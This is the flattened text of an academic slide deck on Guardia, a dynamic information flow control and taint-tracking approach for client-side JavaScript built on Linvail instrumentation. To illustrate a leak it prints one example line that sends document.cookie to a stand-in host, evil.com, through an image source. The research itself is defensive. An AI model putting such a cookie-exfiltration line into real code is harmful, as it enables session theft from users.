Practical Information Flow Control for Client-Side Web Applications

Practical Information Flow Control for Client-Side Web Applications Angel Luis
Scull Pupo, Jens Nicolay, Elisa Gonzalez Boix {ascullpu, jens.nicolay, egonzale}@vub.be 1

Web applications today Browser 0 0 0 Search Advertising Social
Networking Markup Frameworks Template Engines Password Strength Checkers Application server 2

Browser security mechanisms Same-Origin-Policy It is a security mechanism for
isolating potentially malicious resources. 3 Browser 0 0 0 Search • Content from different origins have limited interaction. • Not suitable for context-sensitive components. • Not suitable for tight integration of third party services.

JavaScript inclusion is all or nothing <html> <head> <script src=“http://passtrengh.com/plugin.js”></script>
<script src="http://ads.com"></script> <script src=“/app/main.js“></script> … </head> <body> … Password Strength Checker example We need to share sensitive information but prevent its leaking 4

IFC to the Rescue

Information Flow Policies Goal: Conﬁdentiality Secret data cannot ﬂow to
public sinks. let leak = document.cookie; … … … let img = document.createElement(‘img’); … … img.setSrc(“http://evil.com?q=”+leak); 6 • Soundness • Transparency • Permissiveness (precision) Evaluation Metrics

Types of Information Flow Implicit Explicit let password = document.getElementById(“pass”).value;
let dummy = password.substring(4); console.log(dummy); let secret = 12 let public = 5 if(secret){ public = 4; } console.log(public); The attacker can learn one bit of the secret 7

Approaches for IFC in JavaScript Static Analysis • No runtime
overhead. • Can explore all paths of the execution. • Has access to approximate values of the execution. • JavaScript dynamic code evaluation is a challenge. • Aliasing of objects is a challenge. 8

Approaches for IFC in JavaScript Dynamic Analysis • Has access
to exact runtime values. • Can handle dynamic code evaluation. • Aliasing does not represent a problem. • Has an impact on performance of the system. • Has access to one path of the execution. 9

Dynamic IFC Approaches Title Approach Granularity Language Implementation LeGuernic 2007
Automata Fine Sequential - SME 2010* Parallel Executions Fine Any (JavaScript) Interpreter IFC for Core JS 2012 Dyn. Type System Fine JavaScript Op. Semantics JSFlow 2014 Dynamic Fine JavaScript Interpreter COWL 2014 Dynamic Coarse JavaScript Interpreter Value-sensitive Hybrid IFC 15’ Dynamic + Static Fine JavaScript Op. Semantics Inlined IFC Monitor 15’ 16’ Dynamic + Static Fine JavaScript Instrumented

Dynamic IFC without VM modiﬁcation

Characteristics of Guardia • Internal DSL. • Declarative. • Speciﬁcation
decoupled from enforcement. • No interpreter modiﬁcation. G.installPolicy({ whenRead: [G.Not(G.And(G.Allow([‘createElement']), G.ParamAt(equals, G.getVType(0, String), 'iframe')))] }).on(document)

IFC in Guardia Goals • Purely dynamic analysis IFC. •
Support for explicit and implicit IFC. • Portable across different browsers.

Dynamic IFC in Guardia Explicit ﬂows Associate a security label
with each object Implicit ﬂows Associate a security label with the PC(context) • No Sensitive Upgrade (NSU) • Permissive Upgrade (PU) let a = 6; let c = a/2; let a = 6; let b = true; if(b){ a = 9; } 14

Enforcement 15

Explicit IFC tracking Taint analysis technique is used to handle
explicit IFC … var age = document.getElementById(“age").value; var res = age / group; … console.log(group); … console.log(res); … Taint Track Enforce We need means to track tainted data Adds a taint ﬂag to program values 16

Handling implicit ﬂows Permissive Upgrade Approach [1] T. H. Austin
and C. Flanagan, “Permissive dynamic information ﬂow analysis.,” PLAS, pp. 1–12, 2010. L ⊆ H ⊆ P PU introduces a partially leaked data label 17

Dynamic taint analysis using code instrumentation Linvail as instrumentation platform
• Provides a transparent analysis layer. • Allows tagging runtime values regardless of their types. - 2, true, ‘Hello World’ - {name : “John”} • Provides life-long value tracking. get set apply Harmony proxy var y = Math.sqrt(x); var str = JSON.stringify(obj); composite data External World 18 Internal World

Taint analysis with Linvail var age = document.getElementById(“age").value; var res
= age / 20; console.log(res); Linvail _meta_.__global__=_meta_.__global__||(function () { return this } ());_meta_.__eval__=_meta_.__eval__||eval;_meta_.__apply__=_meta_.__apply__|| (typeof Reflect === 'object' ? Reflect.apply : function(f,t,xs){return f.apply(t,xs)});_meta_.__defineProperty__=_meta_.__defineProperty__|| Object.defineProperty;_meta_.primitive(void 0,1);var taintedVal;(taintedVal=_meta_.apply(_meta_taint,null,[_meta_.primitive(42,5)],3));;var res; (res=_meta_.binary("*",taintedVal,_meta_.primitive(7,9),7));;_meta_.apply(_meta_.get((_meta_1=console),_meta_.primitive("log",11),11),_meta_1, [res],11); function enter(val, idx, ctx) { if (isprimitive(val)) { val = { inner: val }; wrappers.add(val); pointers.set(val, ++counter); return val; } return val; } function leave(val, idx, ctx) { return wrappers.has(val) ? val.inner : val; } var linvail = Linvail(enter, leave); global._meta_ = {}; }) IFC ANALYSIS + INSTRUMENTED 19

Taint analysis with Linvail Linvail is used as a library
and allows to intercept language operations let global = { binary: function (o, l, r, i) { let res = linvail["binary"](o, l, r, i); res.taint = l.taint || r.taint; return res; }, set: function (o, k, v, i) { let res = linvail["set"](o, k, v, i); res.taint = v.taint; return res; }, apply: function (fn, ths, args, i) { if (isSink(fn) && isTainted(args))) { throw new Error('IFC violation!’); }else{ return linvail[“apply”](fn, ths, args, i); } } } Base program operations Meta program analysis 20

Challenges • Handle the DOM API - We cannot instrument
the DOM. - Function annotation is not possible cause DOM is stateful. • Dynamic Objects - Structure and existence of properties. • Exceptions - Exceptions can be used to change the ﬂow of the execution and learn a bit of information. • Higher-order functions - Functions can leak information if they are created in sensitive contexts. • Prototype chain - The prototype chain of object can be used to encode and leak information. 21

Evaluation • We are performing evaluation using language challenges presented
before. • Evaluation of performance, transparency and permissiveness is ongoing work. 22

Conclusions • It is possible to enforce IFC policies without
runtime modiﬁcations. • Remains unclear how to protect the instrumented program from attacks. 23

Practical Information Flow Control for Client-Side Web Applications

Practical Information Flow Control for Client-Side Web Applications

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